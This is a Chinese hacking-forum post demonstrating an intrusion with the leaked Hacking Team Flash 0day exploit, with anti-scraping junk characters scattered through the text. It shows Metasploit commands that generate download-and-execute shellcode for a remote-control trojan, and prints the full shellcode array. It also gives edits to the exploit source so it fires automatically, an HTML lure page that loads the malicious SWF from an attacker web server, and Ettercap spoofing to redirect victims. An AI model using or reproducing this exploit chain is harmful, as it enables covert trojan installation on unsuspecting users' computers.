找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1551|回复: 0
打印 上一主题 下一主题

flash 0day之手工代码修改制作下载者实例入侵演示

[复制链接]
跳转到指定楼层
楼主
发表于 2018-10-20 20:28:55 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

' F) h/ l/ B; q) v- W. Z 三、flash 0day之手工代码修改制作下载者实例入侵演示 ( @5 x$ ?" ^$ b+ J" W

" B& J3 F& _. y Y* s+ j

* ^! T+ ?; t3 u" r" {! H 利用到的工具: - K3 P$ Z# K; t$ _

! S( {1 }9 ~- o

/ F% h4 n6 t C; _8 f. m! s/ A Msf - y% {- \0 T& V3 u

' I8 L3 K) p1 D4 n0 v

% S9 t9 n) Z2 W/ ^! b5 V( A. F Ettercap ( L2 O; \& Y% @6 Z' i$ @

9 g" A' W# e" [3 M! U

$ h* C" C! |9 j3 A% d/ f" ? Adobe Flash CS6 2 U! k o4 S7 N+ o4 q5 O

# S0 n9 b& ]* U8 z+ X

$ {# R0 `: q* H8 n/ X+ U; d# ]6 D Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份 0 \0 t; \$ A( \, E- T# S

% w. i8 c( b- ~

5 L. Q! _& H' _0 v: @6 }: e7 _! ? 下面我们就开始演示入侵,利用msf生成shellcode,首先打开msf执行use windows/download_execshow options # m \1 P8 `2 y8 G" d3 C: i& C. h1 K

- P4 Z v: Q1 J9 U' Y T

3 s- K A5 o' a/ r6 I6 O" E 如图: 2 k# ^$ k9 `6 l) |, F

: @9 B5 _& K& }' \# A

; A% Q0 a8 D+ a   4 `1 s8 }% _ |3 Z

( z0 i( C% `) w2 p5 I

" G# \2 v6 K1 Y, q5 A) d   * H) i! J; S- Z# D) M

& o$ k/ @! r' {

0 v( M& |3 Q- W- b 然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址,这里我们用远控马,远控配置使用不再详细说明。。。如图: & u0 I) M$ C& i% }

; s" b! k1 P/ l1 {

V$ W; g) D2 N s# T   Q ~: D3 P* N7 P$ `

?# U$ i: Q2 p/ p- J3 g

4 e9 F/ e3 Z, T4 F8 h   # Q5 q$ C$ R$ Y& X

& L, O/ I# M6 S! l" R8 T' a9 Y

1 O4 g6 f& s8 \* _3 e+ ]' n& f 然后执行generate -t dword生成shellcode,如下: . [ n1 _) O: M* d) f% Q E9 f

, X; ?' W4 T0 U/ @% Q0 ?

( K7 O, O- ]* y) G; ~# H3 S1 f   W$ G. Y" z9 U- Z! C$ Z9 Q

, z- q6 O' }0 X$ Z6 D; {# l

- x; K0 y% y6 H9 T/ Q6 `# {# f 复制代码到文本下便于我们一会编辑flash exp,如下: / f5 ~7 v6 c0 `

4 {! q& n" {* y; i2 D

$ d$ B4 U0 o2 j+ z1 l3 Q+ E 0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31, : w: |0 s* W1 i1 w3 ~. ~

. P# c- e& q; j* ]& h

0 K4 Z# Y# m8 l6 Q/ f8 {& r: h$ h% c 0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0, 4 R) C! ~! Z" g4 R1 W

( n. f# m! J2 |7 F

4 U. n* p4 Q$ U) b: y 0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038, & j+ o- c4 [' q8 x

( X- ^8 S \1 d

2 O4 ]! Q; H. B% O5 o0 E# y 0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489, ( j$ Y; g) b) P% U: u- q8 X4 x

G$ f% t: y: L% ?. r$ G

. o+ x: n- x- P/ P; r+ P 0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854, # M' j- ?' U' r* G

4 w( k i* x- j! v

" E3 N) q8 {. h) t5 H. p8 Q 0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51, * u6 s3 z6 T' e

/ h8 t+ ]4 a y$ _: e3 T$ M+ s

1 Y$ `/ R& W. x* n* X$ e4 N; D5 b& T 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e, 8 X3 h j+ m# Y$ s- \3 C

" A5 r& a) M. m

' P! K+ P% x$ L( Z/ f 0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757, 6 W( o* M7 O+ X9 z8 p

% @# {* y6 V! O G( j

$ ^) @. N" T* n; x7 W 0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff, . Z% [9 B! f" D/ d

# e o5 a. b" ^1 M3 b# c; R4 \, g

/ k i) l1 N7 P% F3 i9 Q 0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6, ' U* ^( u1 j% ^6 B3 W

* E2 P! d( e- m- U+ \

$ T0 r( W r0 m& H+ @3 L( { 0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5, # l0 q% i+ a" l* B7 }2 {7 C

, u* L0 O R7 g

/ X" b4 V$ b5 ^% k2 ~4 j: N 0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853, 5 p" [( v( H, K1 b

) a& Z6 m8 L! F7 K

1 y/ Q7 X- k; d4 E7 [ 0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973, 2 U$ g9 P& Y3 Z# n! v+ p

$ l! m2 _- H4 u* Y5 d, R6 B

! T) e! r+ V: e6 P6 Z 0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000 * C& \+ N0 `2 {$ f i# s

) |/ T& V7 q; ^3 r

. o4 t+ T3 [% y2 x ]   / q4 r" t1 T, e0 a7 Y

8 R) c- y" [( C6 B# ]: r. L1 `

0 I3 g5 I5 E8 N. o5 }   + s6 M. z: j! O

% r: o' g% d4 A9 ^& a

- i+ T! |! M7 P: V1 ?, E 下面我们来修改flash 0day exp,需要修改三个文件,分别为: 7 [7 p. H H6 x2 O3 V

! N5 \5 q4 h& |5 W2 D

' h$ O0 {4 F- ]4 T/ w9 T \* n   & A! s7 O8 G2 g; M3 R6 b+ K$ a

( u9 Q7 o8 f J* ^/ P

1 R$ y' q5 ^; z; B! c 先修改ShellWin32.as,部分源代码如图: + F0 ], {$ V9 r5 O% J2 I! ?2 a6 g0 ]

; m7 F" t' q ?, ^

v7 j7 t* \/ \1 j. n+ w( Y0 k   # O7 D" u2 l' k( {# a5 W R. ~

8 u- W0 q* M9 d" k; J

2 B; F. I% H6 v/ I9 q5 \ 我们需要把标记处[]中的代码改成用msf生成的代码,修改后如下: , d* P/ V4 b5 R

, H" l9 s, M$ \( j

1 Q: `( n8 I0 W& z1 z   % j: }* U. t$ G. @

# f7 b$ d2 ?8 a" g, b1 P+ a* @: \

% R. n7 m5 D7 S4 Y/ } 然后保存,ShellWin64.as的修改方法如上述,不再演示,下面我们来修改myclass.as,这里需要说明一下,因为此exp生成的利用程序,不能直接自动触发flash漏洞,也就是需要点击按钮才可以,实际上在做渗透的时候需要把它搞得更完美,所以就需要修改,修改方法:搜索myclass的某个字符doc.addchild(btn);如图: ; g' f: ~/ f) b8 I

- e$ s+ r/ n/ `( s- ?4 y" }4 N x

8 a; U6 U! J6 J+ ]& c/ s2 E   ' j7 }6 F( s8 b/ Z! P! ]

8 J% H; [7 ^7 u- C$ f

& e9 |' m8 t5 W% O 换行在后面加一句TryExpl();注意是l不是数字1,然后如图: * r% |: k' f1 d

+ S# M, y1 E% r o# T9 w% \& e

# l: N- e) N0 n* t. k2 s% p$ l. a   " N0 O* G+ q0 c. R( K

r) B' B! F$ [0 c- M: U9 F& t

$ o( r; y- k* T0 o$ g6 ]& f   0 b( n) b+ i$ x

7 T8 X, R1 r" ]8 e. W

$ J. |( D7 i2 X   ; {( X$ W5 K2 P) {

% u ^1 A; z' c& [

. |/ W# l* [' s% @) u& v 然后点保存,下面我们来编译一下,打开 ! B3 N0 _9 B, [8 e& k! [

: `3 F* X6 Z- ^( i- y

. t( a7 j% A: {8 b7 S' P! x. m exp1.fla然后点文件-发布,看看编译没错误 * r" Y5 k; l( k& S* X4 N% d) r2 g/ p

/ e( ^3 N# @+ F/ H7 r' m

" S; i' q, _. Z1 d9 R/ W6 y1 n) d   . a! G' m/ J4 S& Z$ p

* N) v; I. s& r

$ t: K, {& A+ @3 w" p. q/ b3 \   ' u7 L) r* C. e9 }& t$ V

h, i% N( M" K$ ^/ z/ C: }( g' `

q& S8 }" M9 Y4 D; n   " O/ |# O" i$ W

; c0 i: F# [4 T0 P- d

& F9 w7 d$ T; a) C: E" R. N" c, ] I1 }   ( |2 Y# Y5 ?# m

5 l9 \. ? M5 m( j

$ `. H: w0 W. D: Q8 z 然后我们把生成的 . a7 k3 |% U( H( g% R/ M

6 W i- b) ]# Z# e z _$ i/ ~) K

- k. z7 p. M3 E0 T5 ] exp1.swf丢到kailinux /var/www/html下: . L7 J. N0 `% m2 E1 \% l4 [

H% F! L7 Z7 `) P* R7 ?$ B- L

- x j A2 q9 U% R& d3 @ 然后把这段代码好好编辑一下 / `9 f8 J' l$ q) S

2 l, I# D' e% j9 I6 i

2 @0 Z+ j# ?0 m5 m8 A   1 d9 J% ?0 `) H

; l3 w0 b7 x: Z' B

9 Z \7 g2 ^" Z" G   2 \9 G1 d% V' E/ @, h

. |" e+ h2 ^" f; v% f

. V) v" X" a: C# v" s1 \, E   . h4 o0 z) K' ^: ?$ e5 x9 l2 j

, x1 b/ p+ N ?/ r$ [! a

" v5 g& ^# R+ m1 K   . y3 O/ M2 I. {! f5 V3 h, Y

2 E5 o( @. p$ |

" R& D. L6 k) B* |0 }% x- q   / E# i& T5 w; ?; o- {) f; G

9 l# v8 ^) q! a8 y0 `

0 \- m' u7 ^/ j% h8 K   7 {; H }/ f1 n8 y, @

4 `4 H5 ^% {! \+ J: a7 k

- y9 A( L3 O7 W. x+ A& L4 H <!DOCTYPE html> 9 d7 i8 c: a5 T7 H- M* s8 ~. l; z

0 D% l _$ F& i4 F

9 F9 |# k: N. J8 I1 {$ r9 N <html> 3 w# {) X+ T6 I8 B$ g$ p

( u1 P. E8 e- h* j

- G7 R/ n% T4 C9 y: P' b <head> , t( X `% e% u, [

! f* y9 ^% ?9 g' q

6 d" w+ o6 `8 s <meta http-equiv="Content-Type" content="text/html; ' u9 A X$ q, O9 g& L

5 Q! X$ ~9 v, \$ y# _: v0 p& n+ r

7 y$ d# U& t9 n; ?) B, G% t charset=utf-8"/> , K5 f) ]- |1 [3 J. ?/ l

0 I4 E* Q" V* {- s( O% m) g' N

- ]8 \- O4 z! x4 }8 f( N7 s </head> T+ E, N4 f7 q( d& c3 c

, C. |7 k! A! z- x

7 M' O( R$ P, G# B4 e <body> - j( S* ]0 }, }/ {0 E5 w8 T

3 g3 ^7 z7 o- ^6 _! }

! A+ B4 z9 W5 c2 o( U: u* q$ K# S <h2> Please wait, the requested page is loading...</h2> 5 J& ?# ]6 D" i* ^- L

$ b, v) O% d% _8 i1 X

9 x% j, c+ E% I9 Z; {% K <br> ( L, Y( S! N& A

! J+ @: ?5 D3 \6 `9 R+ X2 q. M/ }

) {, l& D# e. l p. a0 E5 D <OBJECT ! L& v3 J) T% ~" `

n* Z$ N& F& l

# t+ @$ j1 h* x3 a& `; \% M+ H classid="clsid27CDB6E-AE6D-11cf-96B8-444553540000"  WIDTH="50" HEIGHT="50" id="4"><ARAM NAME=movie . K; O6 c6 G$ M: p4 n8 v6 t2 c: O# P5 M

. Q C0 E' W$ X$ Q. b

( ^8 b: q D# @" R VALUE="http://192.168.0.109/exp1.swf"></OBJECT> ) Y$ I9 Z) `7 Z8 J; H

4 g ]3 r' q z! O

. @) g J: @: o0 K4 `/ O+ W </body> " ]. p: y5 s* p2 Z0 J, ~4 v4 `! M& X

; j1 ^, }3 U9 u

2 r) a: w- x \ { <script> " L P6 \9 D* S7 }2 n, G7 | i

% R3 G( k) `1 l

1 {- H# l& m9 f) q; I* U. I, ]" L4 n     setTimeout(function () { 7 ]& j9 _/ g) d+ W4 n' E" W# O

3 {; a( A0 h5 Q" M7 U

6 x. z1 s+ j6 \2 a/ n          1 D: K8 d/ \" I7 c. @( F

& W( Q; V/ p. m8 U0 u( `' D/ h! w

6 H8 a5 D8 z. J, S. S$ z window.location.reload(); ' m4 O. \' Z F' y- D7 s `1 n

0 e; a5 T- w5 i- C4 \

+ F! i6 W. ^, R; w" @2 k. |& ^9 W     }, 10000); % t) M" P8 l% @) J" q

/ I- q9 ~1 R4 O- V" m( x

! E& D3 H; l' E) n9 E% t   ' i+ ^2 `3 X' I3 l% d/ o

I c/ P4 u! [

J" s. ~7 |- r2 J6 K, ]% e </script> ' G `5 I0 ^4 x1 f

$ e/ e% W* A7 ~( `; m

. D6 U) T, P0 N1 [" R </html> 5 h7 F% D. p1 n( ~. @/ p

- O0 F$ F4 g8 f

& B3 i7 w3 j Z) @1 V2 A   $ C6 p; b' H7 r) Q# w8 C4 v* N

+ W E0 @6 M2 w$ z$ T8 _

8 B8 C& j) {' w( E: v( x, | 注意:192.168.0.109kaliip地址,这时候我们需要service apache2 start启动一下web服务,然后将上面的html保存为index.htm同样丢到kali web目录下,测试访问链接存在如图: ( D+ T* F$ J& d6 O- F3 H+ H

& j& z: X6 a. d, k" B* Y

8 ?' t I+ s" m% l( g) h: N2 h8 m   . ~! R0 b* d; K+ y( ^5 B9 t3 O7 R+ j& A

% N- [. y4 A* ? \. b8 X2 a

' K C" a7 {7 Q1 P x   : w/ z# }: b. L; ?+ F

8 y6 ~8 J Z5 @& z" H

" |4 m+ u/ Q- s- u: Y' r* N5 L   6 |; D, x$ A& C; Q Z Q

% n" V, N+ G% Y- M; f

! E/ P/ C+ Q% i. k$ |' _3 ~   * g9 O! d: s- |3 o/ ]9 {9 C

8 `6 Z# X$ X; e6 s

0 M8 s* E3 P+ J   , j' O9 b P4 M& R% U# C j

1 ~, T9 j0 D* f; ^

0 {$ j% Q9 K4 e8 s# ]: o( s 下面我们用ettercap欺骗如图: 1 O9 Y( h- W: J, A% G0 y' P

j+ s7 I @/ U6 H

, a- Q# |) R8 e. @6 {! P   ) G4 `7 c ^6 t

4 o+ \: L* k+ d

% g: g5 C, ], v0 g   / C% D9 B. ?! d) K2 b, e

4 v( {" o3 ] c4 O) N, C# t; a

) U1 c0 a5 u# n9 X* q 下面我们随便访问个网站看看: + V4 T% w: u" X; ?! ]+ C

$ \! e* h: M0 ]3 A& B

" @/ z z" F! E' o 我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功,如图: 3 x# i$ n A7 |# W$ s J' j

5 u" P, e+ \2 ]+ `% B5 Q3 R

* L( ]( V [% H- v   ' ^" B" C9 U* [# g2 x

( p9 U# R; x* G, n5 `8 O+ v5 S

' _3 d; L { r" J0 c2 _$ j6 D) U 我们看另一台, 8 X. w: _& u) T* R, e

) Q- e) ~& l% D G1 q

7 l8 i5 U5 ^% f5 g/ @ Q! F) F 提示这个错误,说明木马是成功被下载执行了,只是由于某些原因没上线而已。。。 * c* ?9 A+ M/ U% w" {' K- ^

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表